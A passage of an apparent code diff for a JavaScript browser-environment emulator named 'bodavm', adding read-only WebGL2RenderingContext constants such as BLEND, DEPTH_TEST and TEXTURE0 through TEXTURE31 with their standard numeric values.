+bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", { + configurable: false, + 